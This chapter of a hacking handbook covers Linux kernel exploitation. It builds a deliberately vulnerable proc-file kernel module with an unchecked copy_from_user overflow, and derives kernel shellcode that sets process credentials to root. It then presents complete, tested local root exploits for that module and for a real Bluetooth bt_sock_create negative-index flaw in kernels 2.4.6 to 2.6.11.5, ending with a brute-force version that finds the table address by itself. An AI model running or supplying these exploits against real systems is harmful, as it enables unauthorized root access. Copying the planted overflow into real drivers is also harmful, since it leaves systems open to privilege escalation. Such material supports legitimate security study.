Chapter 12

Errors on the system kernel level

Many elements influence the overall security level of the system. Application security is without doubt one of the most fundamental. Trained administrators habitually patch any programs containing errors. Not every one of them, however, realizes that the real danger can hide in the system kernel itself.

Kernel errors

The variety of attack techniques and the number of errors to be found in software is huge. We need look no further than discussion lists such as BugTraq, where every day we can see dozens of new "discoveries." However, it turns out that not every piece of information can be useful to a hacker. Many errors can be used only after a certain action has been coaxed from the "victim." In addition, the operating system itself protects against many of them. For example, projects such as GrSecurity or Libsafe practically prevent attacks on an application from being carried out. More interesting from the point of view of the attacker is the information about errors in the system kernel itself.

Linux is a system whose kernel has a monolithic architecture. This means that it is coherent, it implements all elements required for the correct functioning of the system, such as control of the devices or the file system. The kernel has the ability to load modules during its function; however, they are introduced directly to the kernel code. Each element of the kernel works on the same level and with the same rights. There are many drawbacks to this structure, including from the system security point of view.

Errors in the main kernel code, which is responsible for memory allocation, process classification, and other important system operations, happen extremely rarely. This code was written many years ago and it seems to be robust, and thus secure. Despite this, hackers whose targets are the devices' controllers have a better chance of finding errors. Their source code together with other kernel elements is many times bigger than the kernel itself. From the point of view of the hacker, there is no difference as to which location in the kernel the error is located. Even if it is in one of the modules, its exploitation will allow the acquisition of full privileges in the system, because the modules work with the same rights as the kernel. This is, without doubt, one of the biggest shortcomings of the monolithic architecture.

The kernel errors are, therefore, much more attractive than errors in the user's applications. No security system protects from their exploitation. The Linux system kernel is written in the C language, so is it is susceptible to the majority of the same errors as simple applications are. In order to acquire the ability to exploit the most difficult of them, it is worth starting from the beginning. At the beginning we will therefore analyze the best known buffer overflow error.

Buffer overflows – a short reminder

The buffer overflow attack consists, as the name suggests, in overwriting data located beyond the area in memory where writing usually takes place. Before reading the present chapter it makes sense to familiarize ourselves with the part of the handbook that describes this attack in detail on the application level. Here is a brief overview.

Without doubt the best learning method is trying by example (**/CD/Chapter12/Listings/bo.c**):

```
#include <stdio.h>
#include <string.h>
{
        char buf[16];
        strcpy(buf, argv[1]);
        return 0;
}
```

The above program copies the first argument into a 16-byte buffer. We will now set any size of the memory discharge file:

```
bash-2.05b$ ulimit -c unlimited
```

Now we will compile the program and introduce as an argument a character sequence of the length of, for example, 40 bytes:

```
bash-2.05b$ gcc -o bo bo.c
bo.c:9:2: warning: no newline at end of file
bash-2.05b$ ./bo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
```

The “core” file has been created, where the memory discharge of the program is found. We will now investigate why the program terminated with a segmentation error:

```
bash-2.05b$ gdb bo core
GNU gdb 6.3
…
Core was generated by `./bo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) info reg ebp eip
ebp            0x41414141       0x41414141
eip            0x41414141       0x41414141
(gdb)
```

The EIP and EBP registers contain the value 0x41414141; that is, “AAAA.” Our buffer was bigger than 16 bytes, therefore it “spilled” beyond the buf table. It overwrote the so-called stack frame, whose elements after returning from the main() function were copied to the appropriate registers. The EIP points to the currently executed code, so the program after the termination of main() jumped to the address 0x41414141, instead of the address of the code located in the previous function. This address does not belong to the process memory. The program has therefore been killed by the kernel using the SIGSEGV signal. If we overwrote the stack frame with the address, under which our code (the shellcode) is located, it would be started up like a normal function. The application is usually injected with the function code responsible for starting up the bash shell, causing the redirection of its function to the shellcode address.

The attack on the kernel level will look very similar to an attack on an application as discussed earlier, but with some limiting elements.

Susceptible kernel modules

To demonstrate an attack on the kernel level, we have to insert an error in its code. We can do this in two ways:

1. By modifying the kernel sources as needed and recompiling the whole code
2. By creating a kernel module containing a code with errors

Of course, it is less time consuming to use the kernel module. Therefore we will use this presentation form.

Before going further it is advisable to have a look at other publications related to writing kernel modules. The reader will find additional information in the chapter on hiding processes by using the kernel modules. In addition, the "Linux Kernel Module Programming Guide," available for download under the address below, is worth recommending:

```
http://tldp.org/LDP/lkmpg/2.6/lkmpg.pdf
```

We want the module to contain the buffer overflow error. However in order for its exploitation to be possible, communication between the kernel and the user must also be possible. Such communication takes place usually in three possible ways:

1. System calls, or syscalls. We are unable to create a new system call on the kernel module level. The only possibility is the substitution of the already existing system call, but this can lead to a system error. Therefore we won't choose this possibility.

2. /dev directory. The system devices are located in the /dev directory. The applications can communicate with devices through the kernel, thanks to the files located in the /dev directory.

3. /proc directory. The /proc directory is the kernel file system. Through it the kernel provides information on processes, the system condition, and various statistics to the user.

Our example will focus on this last point, because the creation of the file in /proc is relatively simple. Generally speaking, it limits itself to the following instructions.

```
        struct proc_dir_entry *entry;

        entry = create_proc_entry("file_name", 0777, 0);
        entry->read_proc = read_proc;
        entry->write_proc = write_proc;
```

At the very beginning we declare the proc file structure. Next we create it using the create_proc_entry function. As the first argument this function assumes the name of the file to be created. The second argument is the rights to access the file, and the third is the structure of the parent directory in which it should be created. If it should be the main directory, we enter 0. After calling create_proc_entry(), our file has been created, but it does not really do anything yet. We therefore have to allocate the read and write service functions to it. When the user reads from the "/proc/file_name", the read_proc function will be started, while writing will be served by the write_proc function. The header of the read service function looks as follows:

```
static int read_proc(char *buf, char **start, off_t offset, int count, int *eof, void *data)
```

The main task of this function is to write specific data into the "buf" buffer and return its length. The write_proc header looks like this:

```
static int write_proc(struct file *file, const char *buf, unsigned long count, void
*data)
```

Before performing any operations on data located in the buffer, we should copy its content to the kernel memory. We now have enough information for now to fully understand the example of a susceptible module (**/CD/Chapter12/Listings/lkm.c**).

```
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>

#define BUFSIZ 16

MODULE_LICENSE("GPL");

static int uptime_read_proc(char *buf, char **start, off_t offset,
                             int count, int *eof, void *data)
{
        int len;

        len  = sprintf(buf, "%d\n", (int)jiffies);
        *eof = 1;
        return len;
}

static int uptime_write_proc(struct file *file, const char *buf, unsigned long count,
                                          void *data)
{
        char buffer[BUFSIZ];
        unsigned int length;
        length = count;
        copy_from_user(buffer, buf, length);
        buffer[length] = '\0';
        printk("<1>%s\n", buffer);
        return length;
}

static int __init init_procmod (void)
{

        struct proc_dir_entry *entry;

        entry = create_proc_entry("jiffies", 0777, 0);
        entry->read_proc = uptime_read_proc;
        entry->write_proc = uptime_write_proc;

        return 0;
}

static void __exit exit_procmod (void)
{
        remove_proc_entry ("jiffies", NULL);
}

module_init (init_procmod);
module_exit (exit_procmod);
```

In the initiating function the module creates the proc file system element with the name “jiffies.” Its read service function writes the jiffies global variable to the buffer and returns the data length. The jiffies variable is the value of seconds that have elapsed since the system start. Our intentional error is located in the write service function. We copy the buffer entered by the user into the buffer located in the kernel memory (with fixed BUFSIZ size, or 16 bytes):

```
copy_from_user(buffer, buf, length);
```

Unsurprisingly, the length variable is the value of the length of the user buffer. If it exceeds 16 bytes, we will go beyond the range of our memory area. To prevent this error from happening we should set the length variable in the following way:

```
length = count > (BUFSIZ - 1) ? (BUFSIZ - 1) : count;
```

If the user buffer is longer that our buffer, we allocate the size value of our buffer to it. But if the user’s data length is less, we allocate the value of the data length to it. However, we will stay with the first erroneous version. After reading the user buffer into the kernel memory, we print it on the screen using printk(). A practical application of our module could be, for example, the modification of the jiffies variable value from the level of the write service function, which would enable a dynamic change in the system uptime. This is not a difficult task, so we’ll leave it to the reader.

While unloading the module we have to delete the jiffies file. This is very important because if it continued to exist when our module is not in the kernel code, we could cause the system to freeze.

Before we upload the module into the kernel, we have to compile it. For this purpose we can use the Makefile file below:

```
obj-m := lkm.o
all:
	make -C /usr/src/linux SUBDIRS=${PWD}
```

We write our example module under the lkm.c name and we give the make command:

```
bash-2.05b$ make
make -C /usr/src/linux SUBDIRS=/home/users/
make[1]: entering directory `/usr/src/linux-2.6.26'
  CC [M]  /home/users/lkm.o
  Building modules, stage 2.
  MODPOST
  LD [M]  /home/users/lkm.ko
make[1]: leaving directory `/usr/src/linux-2.6.26'
bash-2.05b$
```

In the /usr/src/linux directory we have to possess the system kernel sources. If we don't have them, we can download them from the page:

```
http://www.kernel.org
```

The compilation method presented is correct for the 2.6 kernels. For older kernel versions the compilation looks like this:

```
bash-2.05b$ gcc -D_KERNEL_ -DMODULE -c -O2 uptime.c
```

If everything ran without errors, we should obtain a ready-to-upload kernel module with the name lkm.ko (or for kernels before 2.4, lkm.o). We can now quietly upload it (as a root user) using the insmod command:

```
bash-2.05b# insmod lkm.ko
bash-2.05b# lsmod
Module                   Size    Used by
lkm                      2432    0
bash-2.05b# cat /proc/jiffies
19424630
bash-2.05b#
```

After uploading our module became visible in the /proc/modules file (which is used by lsmod). As we can see, our file has been created correctly. Now, we will try to unload the module:

```
bash-2.05b# rmmod lkm
bash-2.05b# lsmod
Module                   Size    Used by
bash-2.05b# cat /proc/jiffies
cat: /proc/jiffies: There is no such file nor directory
bash-2.05b#
```

Everything is working faultlessly; the jiffies file has been deleted. Now we will take care of our error and upload the module once again:

```
bash-2.05b# insmod lkm.ko
```

We will write some data to the /proc/jiffies file as common user, as the administrator's privileges are not required for this purpose (we have defined this by calling the create_proc_entry() function):

```
bash-2.05b$ echo "AAAAAAA" > /proc/jiffies
AAAAAAA
bash-2.05b$
```

If we use a pseudoterminal in a graphical system, we won't see the data printed by the kernel. These are printed only on the system terminal. But we can check them in the kernel log, performing the dmesg command.

```
bash-2.05b$ dmesg
...
AAAAAAA
bash-2.05b$
```

We will now try to transfer a buffer of 40 bytes to the kernel module. It should cause overwriting of the stack frame with the write service function:

```
bash-2.05b$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" > /proc/jiffies
```

After performing this command our shell will probably be killed by the kernel. It will generate an Oops – a kernel exception. We can also examine this using dmesg:

```
bash-2.05b$ dmesg
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Unable to handle kernel paging request at virtual address 41414141
 printing eip:
41414141
*pgd = c6a5ce7000000000
*pmd = c6a5ce7000000000
Oops: 0000 [#49]
PREEMPT SMP
Modules linked in: lkm
CPU:    0
```

```
EIP:    0060:[<41414141>]    Tainted: G S    VLI
EFLAGS: 00010282   (2.6.26.8)
EIP is at 0x41414141
eax: 00000028   ebx: 41414141   ecx: c0423abc   edx: 00000286
esi: 41414141   edi: c6a5cfa8   ebp: 00000028   esp: c6a5cf58
ds: 007b   es: 007b   ss: 0068
Process bash (pid: 6234, threadinfo=c6a5c000 task=c6bc65a0)
Stack: 41414141 41414141 0a414141 00000000 c01904b8 c38074c0 080cbc08 00000028
       c6a5cfa8 00000000 c38074c0 c38074c0 fffffff7 080cbc08 c6a5c000 c0190601
       c38074c0 080cbc08 00000028 c6a5cfa8 00000000 00000000 00000000 00000001
Call Trace:
 [<c01904b8>] vfs_write+0xb8/0x130
 [<c0190601>] sys_write+0x51/0x80
 [<c0135159>] sysenter_past_esp+0x52/0x79
Code:  Bad EIP value.
```

At the beginning we see our data, meaning they managed to be printed on time, and that the service function has been fully executed. After the return instruction, it copied the EIP register copy from the stack frame into the processor register. The stack frame has been fully overwritten by the "AAAA" values. This can be easily seen in the log:

```
EIP is at 0x41414141
```

There were no process data under the address 0x41414141; it has therefore been killed immediately, which also can be seen in the log:

```
Code:  Bad EIP value.
```

Because the error occurred on the kernel level and not on the application level, we were able to document the whole incident. The log also contains the program stack, information about the process itself, the values of all registers, and the path where the error occurred (Call Trace). This information is very useful for developers during debugging, and it helps us when exploiting the error.

We can now cause a process jump in the kernel to any address. Therefore, there is nothing stopping us from exploiting this.

Creating a shellcode

Our first task before starting the attack will be to create an appropriate shellcode. During attacks on user applications, our injected code usually has to increase process rights and to call the shell. In the case of the kernel, things are slightly different. Starting new processes using the exec() system call from the kernel level is not recommended. It's better to create a shellcode that will change the privileges of the current process.

The current user identifier is stored in the task_struct process structure. We can refer to the "current" pointer to this structure for the currently executed program from the kernel level. Therefore, the easiest method to increase process rights is to execute the following instructions from the kernel level:

```
current->euid = current->uid = 0;
current->egid = current->gid = 0;
```

These will change the effective and ineffective identifier of the user and the group to zero; in other words, the one allocated to the root user. In theory, after performing these instructions, our attack should terminate with success. Unfortunately that won't happen.

Shellcodes intended for a user application never end, meaning they start a new system process, the bash shell. While in the kernel we do not have this ability. Our shellcode will terminate with the return instruction, which will end the action of the current function (the shellcode) and will jump to the previous function. Here lies our problem. By overwriting the stack frame, we change the value of the EBP register, which also plays an important role during the program function. After performing another return instruction, the kernel will attempt to download EIP from an incorrect location, which will cause a kernel exception and our program will be killed, so increasing its rights won't do anything. The problem could be solved by attempting to overwrite the EBP copy with such a value, which after executing the shellcode will direct the process to an appropriate location. There is, however, a much easier way.

We have the possibility of executing any code on the kernel level. We know already that raising our own rights won't bring any results, because our application will be killed anyway. But why don't we increase the rights to another process belonging to us? We have access to the whole kernel memory and can modify literally every fragment of the memory. However, how can we find an appropriate process in the system whose rights we want to raise? We can search the process list using the for_each_process() macro and find one with an appropriate identifier. But it will be easier to access another process of ours with the help of the task_struct structure. This contains the field "parent," which is the pointer to the task_struct structure of the parent process:

```
current->parent->euid = current->parent->uid = 0;
current->parent->egid = current->parent->gid = 0;
```

After executing such a shellcode we increase the rights of the parent process and then we will be killed by the kernel. The parent process, however, will continue with administrator privileges. To create the shellcode we have to discover what the above instructions look like in the binary version. The simplest way to do this is to compile an example kernel module (**/CD/Chapter12/Listings/modul.c**):

```
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>

MODULE_LICENSE("GPL");
static int shellcode(void)
{
        current->parent->euid = current->parent->uid = 0;
        current->parent->egid = current->parent->gid = 0;
        return 0;
}
static int __init init_mod (void)
{
        return 0;
}
static void __exit exit_mod (void)
{
}

module_init (init_mod);
module_exit (exit_mod);
```

We will call this shellcode.c. Before we start compiling we have to remember to change the appropriate entry in Makefile.

After doing this we perform the make command:

```
bash-2.05b$ make
make -C /usr/src/linux SUBDIRS=/home/users
make[1]: entering directory `/usr/src/linux-2.6.26'
  CC [M]  /home/users/shellcode.o
/home/users/shellcode.c:25:24: warning: no newline at end of file
/home/users/shellcode.c:8: warning: `shellcode' defined but not used
  Building modules, stage 2.
  MODPOST
  CC      /home/users/shellcode.mod.o
  LD [M]  /home/users/shellcode.ko
make[1]: leaving directory `/usr/src/linux-2.6.26'
bash-2.05b$
```

We don’t have to worry about the warnings, because we won’t be loading our module anyway. We have compiled it only to obtain the instructions in the binary version. To “extract” from the shellcode.ko file we will use the objdump tool:

```
bash-2.05b$ objdump -D shellcode.ko

shellcode.ko:     file format elf32-i386

Disassembly of section .text:

00000000 <shellcode>:
   0:   ba 00 f0 ff ff                  mov     $0xfffff000,%edx
   5:   31 c9                           xor     %ecx,%ecx
   7:   21 e2                           and     %esp,%edx
   9:   8b 02                           mov     (%edx),%eax
   b:   8b 80 a0 00 00 00               mov     0xa0(%eax),%eax
  11:   89 88 7c 01 00 00               mov     %ecx,0x17c(%eax)
  17:   31 c9                           xor     %ecx,%ecx
  19:   89 88 80 01 00 00               mov     %ecx,0x180(%eax)
  1f:   8b 02                           mov     (%edx),%eax
  21:   31 c9                           xor     %ecx,%ecx
  23:   31 d2                           xor     %edx,%edx
  25:   8b 80 a0 00 00 00               mov     0xa0(%eax),%eax
  2b:   89 88 8c 01 00 00               mov     %ecx,0x18c(%eax)
  31:   89 90 90 01 00 00               mov     %edx,0x190(%eax)
  37:   31 c0                           xor     %eax,%eax
  39:   c3                              ret
  3a:   90                              nop
  3b:   90                              nop
```

Now we put all the binary values of the instruction data into the form of a character sequence. The last two “nop” instructions are superfluous, so we omit them:

```
char shellcode[] =
        "\xba\x00\xf0\xff\xff"
        "\x31\xc9"
        "\x21\xe2"
        "\x8b\x02"
        "\x8b\x80\xa0\x00\x00\x00"
        "\x89\x88\x7c\x01\x00\x00"
        "\x31\xc9"
        "\x89\x88\x80\x01\x00\x00"
        "\x8b\x02"
        "\x31\xc9"
        "\x31\xd2"
        "\x8b\x80\xa0\x00\x00\x00"
        "\x89\x88\x8c\x01\x00\x00"
        "\x89\x90\x90\x01\x00\x00"
        "\x31\xc0"
        "\xc3";
```

We don’t have to worry about the zero bytes that are to be found in the shellcode. In the case of the user application this was important, because we could transfer to them only strings ending with zero. In the case of the kernel, our shellcode will be placed directly in the exploit and started from its memory. As a result, we don’t have to worry about its size or content.

Exploit

We already have enough information to take advantage of the error. We can therefore start writing the exploit.

The sequence for our exploit should be:

- Create a new process with help of the fork() function.
- In the child process write our buffer into the /proc/jiffies file (with a size of, e.g., 32 bytes). It will consist of addresses to our shellcode.
- In the parent process, wait for termination of the child using the wait() function.
- Check if it obtained administrator privileges.

- If yes, start up the sh shell. If not, report the information about the error and terminate the action.

We cannot inject shellcode anywhere; we put it in the global table. Its address is stable, and known to the program, and thanks to this we don't have to use offsets nops, as we do when exploiting errors in common applications.

Below is a simple exploit code with comments (**/CD/Chapter12/Listings/exploit.c**):

```
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/* Buffer size that we will write into the file, therefore we will overwrite 16 bytes */
#define SIZE 32

/* shellcode changing privileges of the parent process */
char shellcode[] =
        "\xba\x00\xf0\xff\xff"
        "\x31\xc9"
        "\x21\xe2"
        "\x8b\x02"
        "\x8b\x80\xa0\x00\x00\x00"
        "\x89\x88\x7c\x01\x00\x00"
        "\x31\xc9"
        "\x89\x88\x80\x01\x00\x00"
        "\x8b\x02"
        "\x31\xc9"
        "\x31\xd2"
        "\x8b\x80\xa0\x00\x00\x00"
        "\x89\x88\x8c\x01\x00\x00"
        "\x89\x90\x90\x01\x00\x00"
        "\x31\xc0"
        "\xc3";

int main()
{
        char buf[SIZE];
        int fd, i;
        int *tmp = (int*)&buf;

        if(!fork())
        {
                /* Here is the child process */
                /* If we don't manage to open the file, we report an error */
                fd = open("/proc/jiffies", O_RDWR);
                if(fd == -1)
                {
                        perror("");
                        exit(-1);
                }
                /* We fill the buffer with shellcode addresses */
                for(i = 0; i < SIZE; i += 4, tmp++)
                        *tmp = (int)&shellcode;

                *tmp = '\0';
                /* We write data into the file */
                write(fd, buf, sizeof(buf));
                /* We won't arrive here because the kernel is killing us */
                exit(0);
        }
        /* Here is the parent process */
        /* We wait for the termination of the child action */
        wait(&i);
        /* If we don't obtain root privileges we report an error */

if(geteuid())
        {
                printf("Exploit Failed\n");
                exit(-1);
        }

        /* If we are here, we have managed to correctly exploit the module */
        printf("uid: %d | gid: %d\n", getuid(), getgid());
        /* Therefore we start up sh */
        execl("/bin/sh", "sh", NULL);
        return 0;
}
```

We will now save the above code under the name exploit.c, and then we will compile it:

```
bash-2.05b$ gcc -o exploit exploit.c
```

We will make sure that our susceptible kernel module is uploaded. If yes, we can start up the exploit:

```
bash-2.05b$ ./exploit
uid: 0 | gid: 0
sh-2.05b# id
uid=0(root) gid=0(root)
sh-2.05b# exit
exit
bash-2.05b$
```

Everything went as we thought it would. In the kernel log the information about killing the child process will be available; however, we have executed our task.

As we can see, the exploitation of buffer overflow errors on the kernel level is not a difficult task. Now we have got to know the technique, replicating it in other cases shouldn't present any difficulties to the reader.

Unfortunately, it is rare for modules containing such obvious errors to be uploaded to the system. For our own security it is worth unloading our erroneous module from the kernel. However, there exist other known errors that are just as easy to exploit. We now possess the basic ability to create a suitable shellcode. Nothing can hinder us from using the knowledge we have acquired in practice.

Real-life example - Bluetooth

Nothing is a better teacher than a good example, especially if it is a real example. The knowledge we gained using our example module can also be applied successfully to other tasks. We will now try to exploit a real error, which will allow us to gain administrator privileges.

We saw earlier that discussion lists such as BugTraq can provide us with helpful information, such as this link to an interesting document:

```
http://www.suresec.org/advisories/adv1.pdf
```

This document describes an error in Linux that can be found in all kernel versions from 2.6 to 2.6.11.5 and in many kernels of version 2.4. The error regards functions related to the implementation of the Bluetooth protocol, specifically the bt_sock_create() function for creating a new socket. Unfortunately the standard kernel configuration does not contain an entry for the Bluetooth stack. Therefore if somebody builds a system by himself it is almost certainly immune. On the other hand, many Linux distributions compile the Bluetooth service directly into the kernel, or as a module. Possessing an exploit for this error will certainly prove useful sooner or later.

Let's take a closer look at the error itself. We will now open the file net/bluetooth/af_bluetooth.c, belonging to the kernel resources, and will find the bt_sock_create() function.

```
static int bt_sock_create(struct socket *sock, int proto)
{
        int err = 0;

        if (proto >= BT_MAX_PROTO)
                return -EINVAL;

#if defined(CONFIG_KMOD)
        if (!bt_proto[proto]) {
                request_module("bt-proto-%d", proto);
        }
#endif
        err = -EPROTONOSUPPORT;
        if (bt_proto[proto] && try_module_get(bt_proto[proto]->owner)) {
                err = bt_proto[proto]->create(sock, proto);
                module_put(bt_proto[proto]->owner);
        }
        return err;
}
```

The error consists in insufficient checking of the "proto" variable:

```
        if (proto >= BT_MAX_PROTO)
                return -EINVAL;
```

It is declared to be int. If we transfer a negative value to it, this condition will be fulfilled. Next the key line is:

```
err = bt_proto[proto]->create(sock, proto);
```

Therefore we can transfer any negative value as proto and it will be used in the bt_proto[] table index. It points to the net_proto_family structure, which looks like this:

```
struct net_proto_family {
        int             family;
        int             (*create)(struct socket *sock, int protocol);
        short           authentication;
        short           encryption;
        short           encrypt_net;
        struct module   *owner;
};
```

Calling bt_proto[proto]->create() will start a function whose address will contain four bytes (because it is the second element of the structure) under the address indicated by bt_proto[proto]. All we have to do is to create an appropriate structure, put it into the process memory, and give the function bt_sock_create() a value for the "proto" variable that will hit our structure in the memory, whose "create" element will point to the shellcode.

This task doesn't seem to be difficult. We can therefore start writing the exploit.

Creating an exploit

At the beginning we have to discover how to start up the bt_sock_create() function. It is neither a system call nor it is called by any device or the proc file. We know that it serves to create a socket for the Bluetooth protocol. For this purpose the kernel provides the user with one function – socket(). By transferring its specific arguments we can create a Bluetooth socket:

```
socket(PF_BLUETOOTH, SOCK_RAW, offset);
```

The "proto" variable will possess the "offset" value. The PF_BLUETOOTH flag tells the system that the bt_sock_create() function has to be used to create the socket.

Another issue is the shellcode. This time we are not overwriting anything; we simply call the function located under a given address. After calling our shellcode the kernel will return to the previous action as standard. We can, without worry, change the privileges of our own process and not those of the parent, using:

```
current->euid = current->uid = 0;
current->egid = current->gid = 0;
return -1;
```

We prepare the shellcode in the same way as before. In the shellcode we return -1 at the end the value to inform us about unsuccessful socket creation.

Otherwise the kernel would cause an error in the sys_socket() function. The code increasing rights will appear as follows:

```
        char shellcode[] =
        "\xb8\x00\xf0\xff\xff\x31\xc9\x21\xe0\x8b\x10\x89\x8a"
        "\x80\x01\x00\x00\x31\xc9\x89\x8a\x7c\x01\x00\x00\x8b"
        "\x00\x31\xc9\x31\xd2\x89\x88\x90\x01\x00\x00\x89\x90"
        "\x8c\x01\x00\x00\xb8\xff\xff\xff\xff\xc3";
```

There is still one element missing. How can we know what value we should enter in the proto variable? The value bt_proto[proto] has to point to the address of our basic structure. Therefore we have to subtract the address of our variable from the address of the bt_proto[] table, to which we will allocate the value of the address of the fake structure. We do this in the following way:

```
offset = (BT_PROTO_ADDR - (unsigned int)&ret)/4;
```

The bt_proto[] address is located somewhere in the address space from 0xc0000000 to 0xffffffff; these are addresses intended exclusively for the kernel. Our "ret" variable will be located on the stack, somewhere under 0xbf*. The result of the subtraction will be therefore positive, and in our case it has to be a negative number. This is not a problem as all we need to do is to change the offset value to a negative number:

```
offset = -offset;
```

We lack still one main element without which we cannot calculate the offset correctly. So where can we take the address of the bt_proto[] table from? If the Bluetooth service has been compiled as a module and it is currently uploaded, we can easily read the table address using the /proc/kallsyms file (or in 2.4 kernels, /proc/ksyms):

```
bash-2.05b$ cat /proc/kallsyms | grep bt_proto
0xc04f1a60 T bt_proto [bluetooth]
bash-2.05b$
```

However, if the service of the Bluetooth protocol is compiled statically, the address won't be visible there.

In the second case we can use the System.map file, which contains all kernel symbols:

```
bash-2.05b$ grep bt_proto /boot/System.map
c04f1a60 b bt_proto
```

Unfortunately, if the administrator compiles a new kernel and forgets to update this file, our attack won't succeed. It is worth checking to see if the current version is in the /usr/src/linux folder. If we still cannot attempt to extract it from the kernel itself:

```
bash-2.05b$ gdb /usr/src/linux/vmlinux
GNU gdb 6.3
…
(gdb) print &bt_proto
$1 = (<data variable, no debug info> *) 0xc04f1a60
(gdb)
```

If we somehow manage to extract the address of the bt_proto[] table, we can use it in the real exploit (**/CD/Chapter12/Listings/exploit2.c**):

```
#include <unistd.h>
#include <sys/socket.h>

/* Address of the bt_proto table in the kernel */
#define BT_PROTO_ADDR 0xc04f1a60
char shellcode[] =
"\xb8\x00\xf0\xff\xff\x31\xc9\x21\xe0\x8b\x10\x89\x8a"
"\x80\x01\x00\x00\x31\xc9\x89\x8a\x7c\x01\x00\x00\x8b"
"\x00\x31\xc9\x31\xd2\x89\x88\x90\x01\x00\x00\x89\x90"
"\x8c\x01\x00\x00\xb8\xff\xff\xff\xff\xc3";

/* Definition of the y net_proto_family structure */
struct net_proto_family {
        int             family;
        int             (*create)(int *sock, int protocol);
        short           authentication;
        short           encryption;
        short           encrypt_net;
        int             *owner;
};

int main()
{
        int i;
        int ret;
        unsigned int offset;
        struct net_proto_family *bt_proto;
        /* We allocate memory for our fake structure */
        bt_proto = (struct net_proto_family *) malloc(sizeof(struct net_proto_family));
        memset(bt_proto, 0, sizeof(struct net_proto_family));
        /* We allocate the address of our shellcode to the create pointer */
        bt_proto->create = (int*)shellcode;
        /* We set the appropriate address */
        ret = (int)bt_proto;
        /* We calculate offset that is "proto" */
        offset = (BT_PROTO_ADDR - (unsigned int)&ret)/4;
        offset = -offset;
        /* We are calling the functions bt_sock_create through socket() */
        socket(PF_BLUETOOTH, SOCK_RAW, offset);

/* If we haven't obtained the administrator privileges we terminate the action with an
error */
        if(geteuid())
        {
                perror("Exploit Failed");
                exit(-1);
        }
        /* And if we have root privileges we call sh */
        printf("uid: %d | gid: %d\n", getuid(), getgid());
        execl("/bin/sh", "sh", NULL);
        return 0;
}
```

As we can see, its code is relatively short and rather easy to understand. Let's test it:

```
bash-2.05b$ gcc -o exploit2 exploi2t.c
bash-2.05b$ ./exploit2
uid: 0 | gid: 0
sh-2.05b# id
uid=0(root) gid=0(root)
sh-2.05b# exit
exit
bash-2.05b$
```

Such an easy code can give us administrator privileges on many susceptible Linux systems.

Lack of address of bt_proto table

It is possible that none of the presented examples of gaining the bt_proto address will produce the desired effect. In theory the address can be gained in almost every situation using the kernel log. After giving the wrong address we can examine Oops, check the address under which the error occurred and correct our address. Unfortunately patches such as GrSecurity forbid a common user to view the kernel log. It is therefore better to write a brute exploit, which will check all possible addresses till it finds the right one. The changes in the exploit code are minimal. Instead of using one "ret" variable pointing to our fake structure, we can use a bigger buffer filled with these addresses. In this way we will minimize the number of attempts performed. When calculating the offset we should use addresses from the range 0xc0000000 - 0xffffffff. The bt_proto table can hide under every one of them. The exploit's body will be a loop, whose task is to:

- Create a new child process.
- Calculate an appropriate offset and call the socket() function in the child process.
- Wait for termination of the child action. If it terminated its action with an error, check other addresses (in our case increase the bt_proto address by 0x100000) in the parent process.

The use of a buffer of the size of 0x100000 bytes provides us with a vast opportunity to hit the error. After at most a couple of dozen attempts we should find the appropriate offset. There is nothing else left to do but present the fully operational exploit, which does not require entering any address (**/CD/Chapter12/Listings/bt_brute.c**):

```
/*
 *  Linux kernel 2.4.6-2.6.11.5 bluetooth bruteforce local root exploit
 *  Damian Put <pucik@overflow.pl>
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#define SIZE 0x100000
/* Addresses from which we start and stop searching */
#define START_ADDR 0xc0000000
#define END_ADDR 0xffffffff

/* Shellcode increase privileges of the current process */
char shellcode[] =
"\xb8\x00\xf0\xff\xff\x31\xc9\x21\xe0\x8b\x10\x89\x8a"
"\x80\x01\x00\x00\x31\xc9\x89\x8a\x7c\x01\x00\x00\x8b"
"\x00\x31\xc9\x31\xd2\x89\x88\x90\x01\x00\x00\x89\x90"
"\x8c\x01\x00\x00\xb8\xff\xff\xff\xff\xc3";
```

```
/* Fake structure of the protocol */
struct net_proto_family {
        int             family;
        int             (*create)(int *sock, int protocol);
        short           authentication;
        short           encryption;
        short           encrypt_net;
        int             *owner;
};/* Function called by the child to exploit the error with a given offset */
int exploit(int offset)
{
        socket(PF_BLUETOOTH, SOCK_RAW, offset);

        /* If it was not successful we return -1 8/
        if(geteuid())
                exit(-1);

        /* If we have root we call sh */
        printf("\ngeteuid() = 0!\n");
        execl("/bin/sh", "sh", NULL);
        exit(-1);
}

int main()
{
        int i;
        int *ret;
        pid_t pid;
        int status;
        char buf[SIZE];
        unsigned int offset;
        struct net_proto_family *bt_proto;
        unsigned int start;

        printf("Linux kernel bluetooth local root exploit (c) 2005 Overflow.pl\n");

        bt_proto = (struct net_proto_family *) malloc(sizeof(struct net_proto_family));
        memset(bt_proto, 0, sizeof(struct net_proto_family));
        bt_proto->create = (int*)shellcode;

        /* We fill in the whole buffer with the right address */
        ret = (int*)buf;
        for(i = 0; i < SIZE; i+=4, ret++)
                *ret = (int)bt_proto;

        /* We start our search from 0xc0000000 */
        start = START_ADDR;

        /* We search till we have checked the whole range */
        while(start < END_ADDR)
        {

        /* We calculate the offset */
                offset = (start - (unsigned int)&buf)/4;
                offset = -offset;
                pid = fork();
                /* If we are a child, we exploit the kernel */
                if(!pid)
                    exploit(offset);
                /* As a parent we wait for termination of the child action */
                waitpid(pid, &status, 0);
                /* If it didn't terminate action through signal
                that is has not been killed by the kernel */
                if(WIFEXITED(status))
                /* If it didn't return -1 */
                        if(WEXITSTATUS(status) != 255)
                        /* We end the loops because we started sh */
                                break;
                /* We increase the address and check further */
                start += SIZE;
                putchar('.');
                fflush(stdout);
        }

        return 0;
}
```

